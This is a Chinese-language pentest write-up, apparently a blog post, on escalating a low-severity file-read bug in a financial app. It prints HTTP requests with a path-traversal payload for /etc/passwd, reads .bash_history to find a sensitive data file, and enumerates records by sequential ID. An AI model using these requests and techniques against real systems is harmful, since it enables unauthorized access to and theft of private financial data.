在授权测试某金融类app时,发现一个鸡肋低危文件读取漏洞,尝试将其升级为高危。
ps:本文仅用于技术讨论与分析,严禁用于任何非法用途,违者后果自负。
0x00 初步探测
发现首次打开app时,会向服务器读取文件加载并展示图片。
测试时一定要细心,笔者发现只有首次打开app时,才会加载图片,后面再打开应该是资源已被记录,就不会向服务器再次进行请求了。
此加载展示图片的get请求数据包如下:
get /ixxx/lgonimage.do?xxxxximagedir=/xxxxx/pictures&savexxxxximagename=this_is_image.jpg http/1.1
host: xxxxx.com
connection: close
user-agent: mozilla/5.0
accept-encoding: gzip, deflate
accept-language: zh-cn,en-us;q=0.8
拿到这个数据包的第一反应,以往的渗透测试经验告诉我,从这个地方大概路会存在文件读取漏洞。
分析并猜测功能点uri的每个参数的功能。
logonimagedir=/xxxxx/pictures - 图片所在的目录
savexxxxximagename=this_is_image.jpg - 目录下的图片名
0x01 漏洞测试
既然已经初步探测到了可能存在漏洞的风险点,并且文件读取功能的参数已经搞清楚,下一步就展开读取测试。
首先测试,是否可以进行目录列出,直接将savexxxxximagename参数置空,看看是否可以读取/xxxxx/pictures目录下的内容:
get /ixxx/logonimage.do?xxxxximagedir=/xxxxx/pictures&savexxxxximagename= http/1.1
host: xxxxx.com
connection: close
user-agent: mozilla/5.0
accept-encoding: gzip, deflate
accept-language: zh-cn,en-us;q=0.8
返回为“空”,失败,说明程序功能点不存在列出目录漏洞:
测试是否可以跳出目录,选用payload如下:
get /ixxx/logonimage.do?xxxxximagedir=/xxxxx/pictures/../../../../../../etc/&savexxxxximagename=passwd http/1.1
host: xxxxx.com
connection: close
user-agent: mozilla/5.0
accept-encoding: gzip, deflate
accept-language: zh-cn,en-us;q=0.8
返回某恒防火墙拦截界面,失败:
接下来进一步测试,是/etc/passwd触发的waf,还是/../触发的waf。
测试只进行一层目录跳出,并且删除/etc/passwd关键字:
get /ixxx/logonimage.do?xxxxximagedir=/xxxxx/pictures/../&savexxxxximagename= http/1.1
host: xxxxx.com
connection: close
user-agent: mozilla/5.0
accept-encoding: gzip, deflate
accept-language: zh-cn,en-us;q=0.8
唔...看来/../的特殊字符就已经触发了waf:
之后想到尝试对数据包进行post类型转换,使用post传参的一些方式进行waf的测试,如:
url编码
分块传输
脏数据填充
包体转换
畸形数据包
......
但是无奈,post请求直接无法传参,程序限制了get请求接收参数。
(不过,后来测试其他post传参的功能时,发现以笔者现有的waf绕过经验思路,根本无法对某恒的waf进行绕过.....)
0x02 漏洞确认
总结以上对此文件读取漏洞收集到的信息:
目录无法跨越,并且文件读取的路径在当前根目录;
特殊字符串,已被waf完美防护住;
无法获取目录下的文件名、无法预知是否可以读取其他后缀文件。
测试到这里突然灵光一闪,想到了“.bash_history”,如果网站根目录存在此文件,并且可以读取,上面的疑问就可以直接解决大半了,先来了解一下这些文件作用:
.bash_profile:此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行。
.bash_history:该文件保存了当前用户输入过的历史命令;
.bash_logout:该文件的用途是用户注销时执行的命令,默认为空;
.bashrc:此文件为每一个运行bash shell的用户执行此文件。当bash shell被打开时,该文件被读取。
于是直接对网站根目录进行.bash_profile的盲测:
get /ixxx/logonimage.do?xxxxximagedir=/&savexxxxximagename=.bash_profile http/1.1
host: xxxxx.com
connection: close
user-agent: mozilla/5.0
accept-encoding: gzip, deflate
accept-language: zh-cn,en-us;q=0.8
此payload既避免了跳出目录,又避开了waf严打的特殊字符,但是唯一遗漏的.bash文件被我们利用到了。
激动的心颤抖的手,看来当前网站根目录确实是此用户的目录,并且用户在此根目录下执行过命令!
接下来尝试进一步扩大危害。
0x03 危害升级
不清楚当前目录结构,就代表着无法定向读取文件,但是还有一个.bash_history我们没有利用到,看看是否可以在其中获取到更重要的信息。
读取根目录下的.bash_history:
get /ixxx/logonimage.do?xxxxximagedir=/&savexxxxximagename=.bash_history http/1.1
host: xxxxx.com
connection: close
user-agent: mozilla/5.0
accept-encoding: gzip, deflate
accept-language: zh-cn,en-us;q=0.8
信息量虽然少,但是已经有了新的进展:
由历史命令得知,管理员cd进入了两层目录:/nxxxx/xxfile/
并且查看了xx_20201022_51xxx.txt文件。
直接构造读取此文件!
get /ixxx/logonimage.do?xxxxximagedir=/nxxxx/xxfile&savexxxxximagename=xx_20201022_51xxx.txt http/1.1
host: xxxxx.com
connection: close
user-agent: mozilla/5.0
accept-encoding: gzip, deflate
accept-language: zh-cn,en-us;q=0.8
成功读取到了敏感的数据信息:
并且文件的id值为时间戳 id顺序编号组成,可轻松遍历出全部的信息。
burpsuite intruder模块测试:
尝试遍历10个id值成功。
0x04 回首总结
存在的难题:目录无法跨越、waf盯防、无法预知目录文件结构。
在此情况下,利用linux文件系统特性,仍然可以将低危漏洞提升至高危。
并且危害的等级高低是无法预估的,这取决于.bash_history会给我们泄露多少信息,所以文件读取漏洞存在时间越久,记录的东西越多,危害越大!
- 关键词标签:
- 网络安全 文件读取漏洞,